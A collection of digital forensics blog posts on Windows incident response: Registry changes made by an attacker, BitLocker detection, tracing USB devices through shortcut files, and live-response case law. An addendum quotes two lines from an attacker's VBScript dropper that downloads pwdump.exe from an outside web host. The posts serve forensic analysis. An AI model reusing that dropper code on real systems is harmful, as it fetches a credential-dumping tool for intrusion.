Something New To Look For

Over on the Windows Forensic Analysis group, Hogfly mentioned something he'd found in a honeypot that had been compromised by the MS DNS exploit...a script that modified several values within the following Registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting

The values modified include:

AllOrNone
DoReport
IncludeKernelFaults
IncludeMicrosoftApps
IncludeWindowsApps
IncludeShutdownErrs
ShowUI

So, what's this all about? Remember how some malware tries to shut off AV software or the Windows Firewall? Well, the script that Hogfly found uses reg.exe to set all of the values (except the first one) to 0, and effectively shuts down any error reporting, which is essentially a visual notification that something is wrong on the system.

When performing IR or CF Registry analysis, this is another place to look regarding issues on a system following an intrusion or compromise. If nothing else, this sort of information can provide you with some insight as to the technical sophisitication of the attacker or malware author.

Addendum, 29 Apr: From Hogfly's updated post on the analysis of the honeypot: here's an extract from a .vbs script that was created on the system:

echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>get.vbs
echo xPost.Open "GET","http://www.dit.net/images/pwdump.exe",0 >>get.vbs

These lines make the resulting script work like a dropper, reaching out to another site and grabbing a file. Under the hood, the script uses the WinInet API (the "GET" functionality, specifically), which will leave other artifacts on the system; specifically, you will see web browser history (ie, Temporary Internet Files) for the "Default User". Robert Hensing has an excellent write-up on this phenomenon; in a nutshell, whenever the WinInet API functions are executed from a System-level account, the TIF history appears within the "Default User" profile.

Links
Error Reporting Policies and Advanced Features
BitCruncher Script for Annoyances

WFA Sample Chapter

I wanted to point out to the readers of this blog that Syngress/Elsevier has a sample chapter of my book available online for free download. The sample chapter is chapter 3, Windows Memory Analysis.

I point this out because I've received questions via a number of forums about the content...questions like, "how will this book help me?" and "will this book teach me anything new?"

...and I thought Troy Larson's quote would've been enough to sell the book to the blind!

If you download the chapter, or purchase the book, I'd greatly appreciate comments...regarding content, etc.

Thanks!

Drive Encryption

One of the challenges posed by Vista to traditional forensic analysis is the use of BitLocker to encrypt data on the hard drive. However, this really isn't any different from other similar technologies such as PGP, etc., that already allow encryption of files, partitions, or drives.

The response to encountering active drive encryption, particularly when dealing with an uncooperative suspect, should be to acquire a live image of the system hard drive, as in many cases, powering off the system and removing the hard drive may result in encrypted data being imaged, and until we get some kind of instantaneous image translation technology, that would be a "Bad Thing" for analysts.

So, when approaching a system, how does one tell whether or not there's any drive encryption in use? Well, Hogfly wrote an excellent WMI VBS script for detecting BitLocker. Using Perl, you could implement this script and then "compile" it into a standalone EXE and run it from a CD prior to imaging.

At this point, all we'd need to do is come up with other "signatures" for drive encryption that we can look for. Using a checklist of visible references to look for on the screen, and combining that with a small applet that would be run from a CD and tell the responder (ie, LEO, etc.) if drive encryption was active and in-use, would likely be the best approach.

Thoughts?

From the Lab: Mapping USB devices via LNK files

My first "From the Lab" post will be to address something I see regularly in forums; how does one tie a specific USB-connected device to a Windows system using shortcut (LNK) files, given nothing more than an acquired image to work with? We know that we can extract information about USB devices that have been connected to a system using nothing more than the raw System Registry file...we can get the devices, any drive letters they were mapped to, as well as the date that they were last connected to the system. However, often times we'll have some shortcut files in an image that will point to specific files...images, documents, etc...that we may be interested in, and the drive letter will be F:\ or G:\, or something else that is not part of the system (either as physical or logical drive) that we acquired the image from. So the question is, how do we map the shortcut file to the specific device?

Well, the first thought would be to go to the MountedDevices key and see which devices were mounted as specific drive letters. We know that the binary data for a specific DosDevice entry will contain a reference that looks like "\??\STORAGE\RemovableMedia", followed by the ParentIdPrefix of the device. So, if we have a shortcut file that contains the path "F:\malware.exe", and we know that the device called "\DosDevices\F:" points to a removable storage device, we can then use the ParentIdPrefix value to map back to the USB device found beneath the Enum\USBStor key.

Remember: the ParentIdPrefix value is NOT the device serial number!!

But what happens if you find the multiple USB devices have been connected to the system, and several of them have been mapped to the F:\ drive letter? How do you determine which device was connected when the shortcut was created? Well, to find out, I decided to run a little experiment...

Here's how the experiment works...I plug a GeekSquad 1GB thumb drive into my laptop, and when the drive is created (F:\), I open it and create a shortcut to an application or file on the thumb drive. The shortcut goes on my desktop. This is meant to simulate shortcuts created by files on the thumb drive being accessed/opened, and the shortcut (.lnk) files being created in the Recent folder.

The first thing I did was run secinspect.exe (with the "-n" switch to avoid the hex dumps). As the thumb drive is not a disk, per se, I do not get a disk signature.

Next, I ran ldi.exe, a tool I wrote that is available on the DVD that accompanies my book (located in the ch1\code\Tools directory). This tool implements WMI (Perl source code is available on the DVD, as well) and uses the Win32_LogicalDisk to get the volume serial number from the device (Note: the Win32_PhysicalMedia class returns the manufacturer's serial number for hard drives). Running ldi.exe with the "-c" switch to obtain the .csv format output, I get:

F:\,Removable,,1B360101,FAT,,961.875 MB

Basically, this says that the F:\ drive is identified by Windows (XP SP2, in this case) as being a removable disk, with volume serial number 1B36-0101. The device is formatted FAT, and is approximately 1GB.

Ah, the volume serial number. Very cool! What is the volume serial number, or VSN? The VSN is a value that is calculated, based in part on the current date and time, when the partition is formatted, and added to the boot sector. For all intents and purposes, it should be a unique value, specific to the device, although it can be modified. This Usenet post provides some insight at to how the VSN is created on Win95.

I verified the volume serial number using "chkdsk f:", and got:

Volume Serial Number is 1B36-0101

It is important to note that this experiment is being run against a USB-connected thumb drive, which happens to be formatted FAT. The volume serial number appears to be located in the 4 bytes starting at offset 0x027 within the (first) primary partition. According to the MS TechNet article How NTFS Works, the volume serial number for a partition formatted NTFS is an 8-byte value located at offset 0x48.

The commands "fsutil fsinfo volumeinfo F:" and "vol F:" return the same information as the chkdsk command.

Using a tool based on Jesse Hager's Windows shortcut file format documentation (ie, lslnk.exe found in the ch5\code directory on the book DVD), we see that the shortcut file also includes that volume serial number:

Shortcut file is on a local volume.
Volume Name =
Volume Type = Removable
Volume SN = 0x1b360101

Okay, so far, so good. In most cases, however, you may not have the actual thumb drive available, for whatever reason. So how're you going to map the shortcut file to the specific device that appears in the USBStor key within the Registry? We already know how to map the USBStor key entry to the drive letter that it was mapped to...but that only works if we assume that another device wasn't attached to the system and mapped to the same drive letter at some later point in time. But if you do not have the thumb drive, is the volume serial number useful? It doesn't appear to be so, as the volume serial number does not seem to be stored in any location (key or value) within the Registry that I can locate at this time. This may be by design, as a thumb drive can be reformatted and given a different volume serial number, but be the same device and have the same unique instance ID (serial number from the device descriptor). I even checked the disk_install and volume_install entries within the setupapi.log file, and found no specific reference to the volume serial number at all.

So, as of yet, there does not appear to be any way to map from the info in a shortcut file (ie, drive letter and volume serial number) to the specific thumb drive, without having that thumb drive available. An alternative would be to map time-based information from artifacts (MAC times on the shortcut file, on Prefetch files, associated with other Registry entries) to the time-based information regarding when the device was last connected to the system.

If anyone has any other information that they'd like to share about this issue, it would be greatly appreciated.

Resources:
Windows 2000: Disk Concepts and Troubleshooting
MS TechNet: How FAT Works
Understanding Disk Volume Tracking in Windows 95

Great news for IR and live response!

There was some great news recently for IR and live response!

Over the past couple of years, when discussing the viability and usefulness of live response, particularly as a source of evidence to be used in court, I have very often heard folks say, "I won't perform live response until there is case law to support its use."

Is it just me, or does sound like a chicken-or-the-egg thing? How can something be accepted in court if you're not willing to do the work and bring it into court in the first place? After all, look at everything that is used in court as evidence now, but at one time wasn't...fingerprints, DNA, even computer forensic evidence.

I was reading the TaoSecurity blog post regarding the Heckencamp case, and came across something interesting...that the court accepted a sysadmin's actions of logging into Heckencamp's computer to definitively determine that it was, in fact, the system being used to attack a mail server.

The Wired story mentions things like "counter-crack" and "counter-hacking", and I shudder at the use of both terms. The court's ruling includes a lot of discussion about expectation of privacy, but also includes such things as the fact that the sysadmin wasn't acting as an agent of law enforcement, but instead was acting to preserve the integrity of the mail server that was under attack. Basically, from what I can see in the opinion, the sysadmin confirmed that the system was used to attack the mail server by examining "network logs" and "after approximately 15 minutes of looking only in the temporary directory, without deleting, modifying, or destroying any files, Savoy [the sysadmin] logged off of the computer."

Okay, if anyone believes that nothing was modified in 15 minutes...well, that's a discussion for another time. After all, in order to access "network logs", a file would have had to have been accessed, modifying the last access time of the file...logging into the system itself would have modified logs, the contents of memory, etc...but I digress.

The Wired article ends in a monologue about vigilantism and student privacy, but that's not what I'm seeing here or interested in at all. Sure, the sysadmin used a username and password from a previous portion of his "investigation" to access Heckencamp's system, and the ethics of this can be argued until the cows come home. However, what I'm seeing is that live response may be starting to gain acceptance in court. If a sysadmin can log into a system and muck about for 15 minutes, why can't someone with a detailed process access a live system, collect necessary evidence as part of a thoroughly documented methodology, and then use that evidence in court?

Interesting Tool - SecInspect

Now that my book has been released, I'll be posting updates, errata, and comments here in this blog. Some of the updates will include things such as tool updates, as well as "From the Lab" entries (sort of mini-HowTos), comments, reader questions, etc.

One interesting tool I ran across recently on HogFly's ForensicIR blog is something new from Microsoft called "Sector Inspector". Secinspect.exe is a command line tool (ie, great for IR and live response!!) that lets the sysadmin view things such as a list of physical devices, drive geometries, disk signature and volume serial number, etc. Now much of this is available through WMI classes such as Win32_PhysicalMedia, but secinspect.exe may be much easier for many folks to use, particularly if you want to include it as part of your drive documentation process (ie, hook up a drive to your write-blocker and then collect data on it using secinspect.exe prior to or immediately after acquiring an image).

An excerpt of what secinspect.exe collected when run on my own system:

Target - \\.\PHYSICALDRIVE1
14593 Cylinders
255 Heads
63 Sectors Per Track
512 BytesPerSector
12 MediaType
[snip]
Disk Signature 0x96244465

Also, for each partition, you see information such as:

SerialNumber : 10675897970943624920

Note: You can also use this with USB thumb drives.

Cool stuff!

Using Perl in Forensics

Ever wondered how some folks use Perl in their jobs, particularly when performing computer forensic analysis? I'm always interested to see who folks use Perl particularly because I use it so much.

I ran across a Perl script for extracting Time Zone Information from an image recently from Citadel Systems. Interestingly enough, it uses my own Offline Registry Parser (regp.pl), which is available on the DVD with my book as well as on my SourceForge.net site.

Pretty cool, eh? I think that its nice to get this kind of feedback...that someone found something you wrote to be useful enough to use it or replicate it.